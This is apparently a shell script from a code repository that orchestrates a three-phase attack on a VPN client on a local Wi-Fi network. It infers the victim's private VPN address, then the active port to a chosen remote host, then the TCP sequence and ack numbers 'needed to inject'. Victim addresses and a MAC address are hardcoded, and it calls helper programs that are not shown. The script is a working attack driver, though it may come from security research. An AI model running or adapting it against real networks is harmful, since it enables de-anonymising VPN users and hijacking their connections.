You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

37 lines
1.3 KiB

  1. REMOTE_ADDR=$1
  2. REMOTE_PORT=80
  3. VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
  4. WLAN_GATEWAY=192.168.12.1 # address of local network gateway
  5. VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
  6. PRIV_NETMASK=255.255.255.0
  7. REQUEST_SIZE=529
  8. DEST_MAC=a4:34:d9:53:92:c4
  9. INTERFACE=wlp1s0
  10. echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  11. echo `date`
  12. echo "attempting to infer client's private VPN address.."
  13. cd ../first_phase
  14. PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
  15. echo "phase 1 client private IP: ${PRIV_IP}"
  16. echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  17. echo `date`
  18. echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
  19. cd ../sec_phase
  20. VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
  21. echo "phase 2 port result: ${VPORT}"
  22. echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  23. echo `date`
  24. echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
  25. cd ../third_phase
  26. ./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
  27. echo `date`